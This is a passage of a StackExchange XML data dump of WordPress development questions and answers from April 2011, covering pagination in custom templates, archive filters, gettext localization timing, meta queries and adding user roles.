LastActivityDate="2011-04-05T23:50:39.067" Title="How to prevent text modified using gettext filter being stomped (presumably) by updateText() js function within a CPT's edit screen" Tags="&lt;javascript&gt;&lt;translation&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="14005" PostTypeId="1" AcceptedAnswerId="14021" CreationDate="2011-04-05T18:29:17.940" Score="0" ViewCount="112" Body="&lt;p&gt;I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: blog&#xA;*/&#xA;?&amp;gt;&#xA;  &amp;lt;?php get_header(); ?&amp;gt;&#xA;  &amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;      &amp;lt;?php query_posts('cat=-4,-11');?&amp;gt;&#xA;      &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;span class=&quot;date&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;          &amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(''); ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;span class=&quot;info&quot;&amp;gt;posted by: &amp;lt;?php the_author(); ?&amp;gt; in &amp;lt;?php the_category(', '); ?&amp;gt; | &amp;lt;?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;      &amp;lt;?php posts_nav_link(' &amp;amp;#183; ', '&amp;amp;laquo; previous page  ', ' &amp;lt;br /&amp;gt;next page &amp;amp;raquo; '); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;      &#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;     &#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page navigation is only needed in this template.&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2011-04-05T20:09:42.387" Title="Post Navigation Not Working In Blog Template - Redirecting to same page with correct URI" Tags="&lt;3.0&gt;&lt;page&gt;&lt;pagination&gt;&lt;navigation&gt;&lt;previous-post-link&gt;" AnswerCount="1" />
  <row Id="14006" PostTypeId="2" ParentId="13991" CreationDate="2011-04-05T18:31:04.850" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;getarchives_where&lt;/code&gt; hook of &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;wp_get_archives()&lt;/a&gt; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this function to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Cpt_getarchives_where_filter( $where , $r ) {&#xA;&#xA;  $post_type = 'blog';&#xA;  return str_replace( &quot;post_type = 'post'&quot; , &quot;post_type = '$post_type'&quot; , $where );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you want your monthly archive put this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'getarchives_where' , 'Cpt_getarchives_where_filter' , 10 , 2 );&#xA;wp_get_archives();&#xA;remove_filter('getarchives_where' , 'Cpt_getarchives_where_filter' , 10 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-05T18:31:04.850" CommentCount="16" />
  <row Id="14007" PostTypeId="2" ParentId="13968" CreationDate="2011-04-05T18:36:29.053" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at Scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/smart-archives-reloaded/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Smart Archives Reloaded plugin&lt;/strong&gt;&lt;/a&gt; &#xA;which allows you to display a list of posts grouped by year and month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to limit the archives by category is as simple as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;smart_archives( '', 'category_name=category_name' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-05T18:36:29.053" />
  <row Id="14008" PostTypeId="1" CreationDate="2011-04-05T18:53:21.250" Score="1" ViewCount="210" Body="&lt;p&gt;Is it possible to use a child theme for mobile browsers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried various plugins but the mobile browser only displays the main theme, the theme that is meant for viewing the website on the desktop. My child theme inlcudes php as well as css files. Whenever I switch to a different theme for mobile browsers it works but the custom post types, cats etc are missing in action. I am kind of lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I think the problem is that the browser detector doesn't recognize the child theme as a theme. It grabs the parent files instead of the child theme files.&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2650" LastEditorDisplayName="" LastEditDate="2011-04-06T07:24:13.990" LastActivityDate="2011-05-06T17:59:37.310" Title="Child Theme for Mobile Browsers" Tags="&lt;custom-post-types&gt;&lt;mobile&gt;&lt;child-theme&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="14009" PostTypeId="1" AcceptedAnswerId="14094" CreationDate="2011-04-05T18:57:36.563" Score="1" ViewCount="42" Body="&lt;p&gt;I am a programmer, and love jQuery. Visual jQuery and other resources is THE best place to get all the code/function et get your hand dirty...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when it come to WordPress.. the code is too thin or too abstract... i nee more like a dictionary of term, function, and possibility&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need is like the ULTIMATE cheat sheet, made in a bible.. i don't care if it 20 pages, i need an HOW TO book of the function possible... like : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;wp_list_categories.. where it is and what are the the return values&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this snippet i copy from the web : &lt;code&gt;&amp;lt;?php foreach (get_the_category() as $cat){ echo &quot;[&quot; . $cat-&amp;gt;cat_name . &quot;] &quot;;} ?&amp;gt;&lt;/code&gt; the method cat_name HOW SHOULD I KNOW THAT ???? where to find the reference ??&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;please enlight me !&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T19:05:53.967" LastActivityDate="2011-04-06T16:03:38.883" Title="Need resource on available functions and objects" Tags="&lt;code&gt;&lt;references&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14011" PostTypeId="2" ParentId="14004" CreationDate="2011-04-05T18:59:56.560" Score="3" ViewCount="" Body="&lt;p&gt;First, you have nasty typo in &lt;code&gt;__contsruct&lt;/code&gt;. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, your hook timing is wrong. Related WP JavaScript is localized via &lt;code&gt;postL10n&lt;/code&gt; object (you can see it echoed in page's source), that gets put together on &lt;code&gt;init&lt;/code&gt; hook - way earlier then &lt;code&gt;admin_head&lt;/code&gt; and your filter is not in place yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From quick test this should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', array ( &amp;amp;$this, 'load_gettext_filters' ), 9 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, scratch that. Won't work if we need context. Let's try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_footer', array ( &amp;amp;$this, 'localize_post_script' ) );&#xA;&#xA;    function localize_post_script() {&#xA;&#xA;        global $wp_scripts;&#xA;&#xA;        $wp_scripts-&amp;gt;registered['post']-&amp;gt;extra['l10n'][1]['publish'] = __('Publish');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T20:25:12.763" LastActivityDate="2011-04-05T20:25:12.763" CommentCount="5" />
  <row Id="14013" PostTypeId="2" ParentId="14009" CreationDate="2011-04-05T19:08:58.740" Score="1" ViewCount="" Body="&lt;p&gt;Tell me (us) about that... :) Unfortunately WP is not exactly known for perfect documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some basics in Codex, like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference&quot; rel=&quot;nofollow&quot;&gt;Function Reference&lt;/a&gt;... But what you really need (and will end up using anyway) is either cross-reference of the code or good PHP-aware IDE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like it or not - reading WP source code is essential part of getting proficient with it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$cat-&gt;cat_name. I can i know that cat_name is a method that return something from $cat from get_the_category() function ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is not a method, it is a field of category object. Many items in WordPress (posts, taxonomies, etc) are represented internally by object. For some it is straight conversion of how are they stored in database, for others its more abstract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex has descriptions or examples for some objects like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category#Print_category_data&quot; rel=&quot;nofollow&quot;&gt;categories&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post#Return&quot; rel=&quot;nofollow&quot;&gt;posts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-06T08:56:26.803" LastActivityDate="2011-04-06T08:56:26.803" />
  <row Id="14014" PostTypeId="2" ParentId="14001" CreationDate="2011-04-05T19:15:50.140" Score="0" ViewCount="" Body="&lt;p&gt;Issues that I see in your description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;installed Wordpress using their self-installer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is commonly recommended to install WordPress by hand.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In a text editor, I replaced all of the local host references to the new domain URL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This causes problems by breaking serialized data.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-05T19:15:50.140" CommentCount="5" />
  <row Id="14015" PostTypeId="2" ParentId="13900" CreationDate="2011-04-05T19:20:12.557" Score="0" ViewCount="" Body="&lt;p&gt;Martin: After reading through this question and its accompanying answers, here are my two cents on your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros of using a custom front-end vs. WordPress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Potentially faster load times, since you could reduce the number of scripts, etc. that are loaded (but see below)&lt;/li&gt;&#xA;&lt;li&gt;More control over database queries, which could potentially result in faster page load times.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons of using a custom front end vs. WordPress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Speed:&lt;/strong&gt; One of your concerns with WP is speed. In my experience, unless you use plugins that insert their own JS into the header (via &lt;code&gt;wp_head()&lt;/code&gt;), WordPress only loads what you tell it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omitting &lt;code&gt;wp_head()&lt;/code&gt; from your header template will prevent WP from loading the new admin bar, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What all this means is that there isn't necessarily any advantage to using your own front-end, since you can customize what loads in your header anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Complexity:&lt;/strong&gt; Your concern with complexity seems directed at the back-end, not the front-end. While I think WP has a great UI, I can understand wanting to tailor its functionality for specific projects. In many cases, you can modify your functions.php file and tell WordPress what to display (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&quot;&gt;see this post&lt;/a&gt; for some examples).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if it's the back-end that's overly complex, I suppose you can always build your own. If you're referring to the complexity of WP's database queries or resource usage, I'll defer to someone with more knowledge on how that stuff works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security:&lt;/strong&gt; I don't really buy the argument that running a custom front-end is more secure. If you're running on a WP back-end, a hacker could just as easily discover that fact by looking at your URL paths (which include /wp-content/, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plugins aplenty that remove the &quot;generated by&quot; meta from the front-end and do all sorts of other things to improve security (&lt;a href=&quot;http://wordpress.org/extend/plugins/secure-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Secure WordPress&lt;/a&gt; is a good example). I actually believe it is &lt;em&gt;less&lt;/em&gt; secure to rely on a homegrown custom solution. This is not a comment on your coding skills, but...it seems to me that an entire team of developers making a living doing nothing but WordPress would be more reliable than one guy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do raise a good point in that WP kind of has a hacker's bullseye on it. However...I've only ever been hacked on outdated WP versions and on shared hosting where the host was at fault. Since 3.0, there have been no issues. I think if you keep up to date on your install, verify that plugins you use are secure and supported, and use common sense, you won't have any security problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Page Load Times:&lt;/strong&gt; I completely agree with you that using a bunch of plugins (or certain plugins) can adversely affect page load times. However, this places the blame more on the plugins and the developer's choice to use them than on WP, does it not? You can use straight jQuery with or without your custom front-end, so I don't see an advantage to going custom here when an intelligently designed WP theme will do just as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Portability:&lt;/strong&gt; My biggest concern about using a custom front-end is that it isn't as portable or future proof as community supported ones. My company &lt;em&gt;never&lt;/em&gt; builds custom CMSs for clients, because we've had many people come to us and say, &quot;Our old web guy built this custom thing, and now he's in Greece, and I can't find anyone to update it.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress uses standard functions that are well documented and that any experienced WP developer will know. With a big, robust, thriving platform like WordPress, a client can very easily find another developer to take over maintenance if the old one goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final thoughts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the above being said, I think you asked a good question that raises some valid concerns. I can see implementing a custom front-end for an internal project of yours -- but that's only &lt;em&gt;if&lt;/em&gt; you believe the extra development time is worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, the cons of this approach outweigh the pros.&lt;/p&gt;&#xA;" OwnerUserId="4296" LastActivityDate="2011-04-05T19:20:12.557" />
  <row Id="14016" PostTypeId="1" AcceptedAnswerId="14033" CreationDate="2011-04-05T19:27:15.887" Score="0" ViewCount="81" Body="&lt;p&gt;So basically i got this custom field value which is stored in $postrating - and under the database field customfield1. I want to grab the value of that field for all posts that have the tag currently being browsed. Then i want to calculate the average value of those numbers and display on the archive.php page when browing a tag.&lt;/p&gt;&#xA;" OwnerUserId="4465" LastActivityDate="2011-04-05T23:50:07.750" Title="Getting and calculating averge value of custom fields of the same tag" Tags="&lt;custom-field&gt;&lt;database&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14017" PostTypeId="1" CreationDate="2011-04-05T19:37:54.427" Score="0" ViewCount="58" Body="&lt;p&gt;I am trying to write a custom taxonomy for handling product variations for an ecommerce plaugin (DukaPress). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I was to add another Custom Taxonomy Called &quot;Product Variations&quot; to hold the variations names. People could create any Named variation and then the Variations under that term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;T-Shirt Colors ( top level taxonomy term )&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Red&lt;/li&gt;&#xA;&lt;li&gt;Blue&lt;/li&gt;&#xA;&lt;li&gt;Green&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;T-Shirt Sizes ( top level taxonomy term )&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Small&lt;/li&gt;&#xA;&lt;li&gt;Medium&lt;/li&gt;&#xA;&lt;li&gt;Large&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And so on and so forth...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to not only let people create these taxonomies but also assign product quantities to them.  This will be handled by way of a meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then The Meta Box function will create the variations and size fields from checking off the needed variations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem I cannot think of a solution for is that the Meta Box needs to generate the Variation Quantity Meta Box based on what taxonomies are clicked when creating the product in the post edit screen. How can I do that without asking the user to save the draft? Do you know of a way that I can dynamically have the Meta Boxes created? Perhaps place a Meta Box with just a button in it that is Labeled &quot;Create Variations&quot; that adds the correct variations when clicked. Kind of like the default custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help with ideas?&lt;/p&gt;&#xA;" OwnerUserId="3403" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T19:41:10.520" LastActivityDate="2011-04-05T19:41:10.520" Title="Custom taxonomies as product variations" Tags="&lt;custom-taxonomy&gt;" />
  <row Id="14019" PostTypeId="2" ParentId="13430" CreationDate="2011-04-05T19:58:34.963" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://voodoopress.com/2011/03/how-to-post-from-your-front-end-with-no-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/03/how-to-post-from-your-front-end-with-no-plugin/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just finished a series of posts on it. Making the form work, adding custom meta boxes, adding images. Everything works on it (except validation). I'll be getting the validation thing figured out better soon. But the code I share is gleaned from a variety of posts on this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, I'll copy the reply to an answer.  (I made it a comment rather than answer as I felt I was being a bit lazy just giving a link, and the form isn't 100%.  Everything works great as far as posting, etc. I just can't get validation working quite right)&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-05T19:58:34.963" />
  <row Id="14020" PostTypeId="2" ParentId="13925" CreationDate="2011-04-05T20:01:26.890" Score="0" ViewCount="" Body="&lt;p&gt;A shortcode handler doesn't have to return anything, it can just modify a global variable that you later read in your sidebar widget. If your sidebar is displayed after your post content (most likely if it's a right sidebar), you can do this without any problem. If your sidebar is displayed before the post content it is more complicated: you have to start output buffering when your widget is called, wait until the rest of the page is displayed, and then do something with the shortcode content and flush the output buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple &quot;proof of concept&quot; that displays the shortcode content not in the post but in the footer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpse13925_shortcode_content = array();&#xA;&#xA;add_shortcode( '13925', 'wpse13925_shortcode' );&#xA;function wpse13925_shortcode( $shortcode_attr, $shortcode_content )&#xA;{&#xA;    $GLOBALS['wpse13925_shortcode_content'][] = $shortcode_content;&#xA;    return '';&#xA;}&#xA;&#xA;add_action( 'wp_footer', 'wpse13925_footer' );&#xA;function wpse13925_footer()&#xA;{&#xA;    var_dump( $GLOBALS['wpse13925_shortcode_content'] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T20:01:26.890" CommentCount="1" />
  <row Id="14021" PostTypeId="2" ParentId="14005" CreationDate="2011-04-05T20:09:42.387" Score="2" ViewCount="" Body="&lt;p&gt;You would need to account for pagination in your query....&#xA;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array(  &#xA;      'cat' =&amp;gt; '-4,-11', &#xA;      'paged' =&amp;gt; ( get_query_var('paged') ? get_query_var('paged') : 1 ), &#xA; )); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rvoodoo.com/projects/wordpress/wordpress-tip-fixing-pagination-on-custom-queries-with-query_posts/&quot; rel=&quot;nofollow&quot;&gt;http://www.rvoodoo.com/projects/wordpress/wordpress-tip-fixing-pagination-on-custom-queries-with-query_posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-05T20:09:42.387" />
  <row Id="14022" PostTypeId="1" AcceptedAnswerId="14028" CreationDate="2011-04-05T20:11:03.493" Score="0" ViewCount="319" Body="&lt;p&gt;i need to change the posts in taxonomy.php page. I have a meta_key which i want to compare to meta value. But currently my code is not returning anything. I am sure i am missing something. Please let me know what i am doing wrong!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'add_event_date_criteria');&#xA;function add_event_date_criteria(&amp;amp;$query)&#xA;{&#xA;    // We only want to filter on &quot;public&quot; pages&#xA;    // You can add other selections, like here:&#xA;    //  - Only on a term page for our custom taxonomy&#xA;    if (!is_admin() &amp;amp;&amp;amp;&#xA;        is_tax('event-tag') || is_tax('event-category')) {&#xA;        $query-&amp;gt;set('meta_key', 'start_time');&#xA;        $query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;        $query-&amp;gt;set('meta_value', time());&#xA;        $query-&amp;gt;set('meta_key', 'start_time');&#xA;        $query-&amp;gt;set('orderby', 'meta_value_num');&#xA;        $query-&amp;gt;set('order', 'ASC');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-05-06T12:36:34.127" LastActivityDate="2011-05-06T12:36:34.127" Title="pre get posts changing the query" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;add-action&gt;&lt;pre-get-posts&gt;" AnswerCount="1" />
  <row Id="14023" PostTypeId="1" AcceptedAnswerId="14031" CreationDate="2011-04-05T20:17:15.937" Score="2" ViewCount="105" Body="&lt;p&gt;I'm looking for themes or examples of sites that use the post format feature in an interesting way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose adding special styling for each post format would be a good start.  But if anyone knows of it being used in a cool or creative ways by a premium or free theme feel free to chime in.&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-04-05T22:06:36.923" Title="Suggestions for creative use of post format feature, or themes that use them well" Tags="&lt;theme-development&gt;&lt;css&gt;" AnswerCount="4" />
  <row Id="14024" PostTypeId="1" AcceptedAnswerId="14030" CreationDate="2011-04-05T20:18:36.487" Score="0" ViewCount="101" Body="&lt;p&gt;I'm going to be using add_role() and $role-&gt;add_cap() to set up a new custom role and attach a new capability to existing roles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering where the best place to do this is? Obviously I can do it straight inside functions.php and be done with it. But is this the best practice? Do I only need to do this on admin_init? or should I do it on init?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure what the best practices are around using init action hooks rather than just dropping a direct function call inside functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your input!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-04-05T21:23:14.360" Title="What action should I hook into when adding roles and capabilities?" Tags="&lt;roles&gt;&lt;capabilities&gt;&lt;actions&gt;&lt;custom-roles&gt;" AnswerCount="2" />
  <row Id="14025" PostTypeId="2" ParentId="14024" CreationDate="2011-04-05T20:29:59.143" Score="1" ViewCount="" Body="&lt;p&gt;For plugins, I have had success using &lt;code&gt;plugins_loaded&lt;/code&gt; for this. For themes, I would use &lt;code&gt;after_setup_theme&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-04-05T20:29:59.143" />
  <row Id="14026" PostTypeId="2" ParentId="14023" CreationDate="2011-04-05T20:31:57.257" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://thethemefoundry.com/shelf/&quot; rel=&quot;nofollow&quot;&gt;Theme Foundry Shelf&lt;/a&gt; comes to mind, it got some press out of being one of the first paid themes added to WordPress.com&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-05T20:31:57.257" CommentCount="1" />
  <row Id="14027" PostTypeId="2" ParentId="14023" CreationDate="2011-04-05T21:00:26.543" Score="2" ViewCount="" Body="&lt;p&gt;Well.... I use post-formats on my personal site, &lt;a href=&quot;http://www.rvoodoo.com&quot; rel=&quot;nofollow&quot;&gt;http://www.rvoodoo.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More interesting though, may be the code. &#xA;&lt;a href=&quot;http://www.rvoodoo.com/projects/wordpress/wordpress-tip-post-formats-get-template-part-loop-php-and-maximum-child-theme-compatibility/&quot; rel=&quot;nofollow&quot;&gt;http://www.rvoodoo.com/projects/wordpress/wordpress-tip-post-formats-get-template-part-loop-php-and-maximum-child-theme-compatibility/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THere were so many options, and opinions when the formats came out.  If you are interested, there's a link to my approach.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-05T21:00:26.543" CommentCount="2" />
  <row Id="14028" PostTypeId="2" ParentId="14022" CreationDate="2011-04-05T21:10:41.567" Score="0" ViewCount="" Body="&lt;p&gt;Try using meta_query parameter :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'add_event_date_criteria');&#xA;function add_event_date_criteria(&amp;amp;$query)&#xA;{&#xA;    // We only want to filter on &quot;public&quot; pages&#xA;    // You can add other selections, like here:&#xA;    //  - Only on a term page for our custom taxonomy&#xA;    if (!is_admin() &amp;amp;&amp;amp;&#xA;        is_tax('event-tag') || is_tax('event-category')) {&#xA;        $time = time();&#xA;        $meta = array(&#xA;            array(&#xA;            'key' =&amp;gt; 'start_time',&#xA;            'value' =&amp;gt; $time,&#xA;            'compare' =&amp;gt; '&amp;gt;='&#xA;            )&#xA;        );&#xA;        $query-&amp;gt;set('meta_query',$meta );&#xA;        $query-&amp;gt;set('meta_key', 'start_time');&#xA;        $query-&amp;gt;set('orderby', 'meta_value_num');&#xA;        $query-&amp;gt;set('order', 'ASC');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also you need to make sure your meta field &lt;code&gt;start_time&lt;/code&gt; is measured and saved in the number of seconds since the Unix Epoch like time() function.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-05T21:10:41.567" CommentCount="3" />
  <row Id="14029" PostTypeId="2" ParentId="8831" CreationDate="2011-04-05T21:13:32.897" Score="0" ViewCount="" Body="&lt;p&gt;i had the same issue, given by conflict with seo by yoast. if you use this plugin check the menu PERMEALINK and uncheck the Redirect ugly URL's to clean permalinks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it worked for me,valentina&lt;/p&gt;&#xA;" OwnerUserId="4467" LastActivityDate="2011-04-05T21:13:32.897" />
  <row Id="14030" PostTypeId="2" ParentId="14024" CreationDate="2011-04-05T21:23:14.360" Score="1" ViewCount="" Body="&lt;p&gt;When adding a role and capabilities you only need to run the code once since the roles and capabilities are saved to the database when using &lt;code&gt;add_role&lt;/code&gt; or &lt;code&gt;-&amp;gt;add_cap&lt;/code&gt; functions so just like Andy said you can use &lt;code&gt;after_setup_theme&lt;/code&gt; for this kind of action but add some kind of check so it only runs once, like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook&quot; rel=&quot;nofollow&quot;&gt;register_activation_hook&lt;/a&gt; or using options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('after_setup_theme','my_add_role_function');&#xA;&#xA;function my_add_role_function(){&#xA;    $roles_set = get_option('my_roles_are_set');&#xA;    if(!$roles_set){&#xA;        add_role('my_role', 'my_roleUser', array(&#xA;            'read' =&amp;gt; true, // True allows that capability, False specifically removes it.&#xA;            'edit_posts' =&amp;gt; true,&#xA;            'delete_posts' =&amp;gt; true,&#xA;            'upload_files' =&amp;gt; true &#xA;        ));&#xA;        update_option('my_roles_are_set',true);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-05T21:23:14.360" CommentCount="4" />
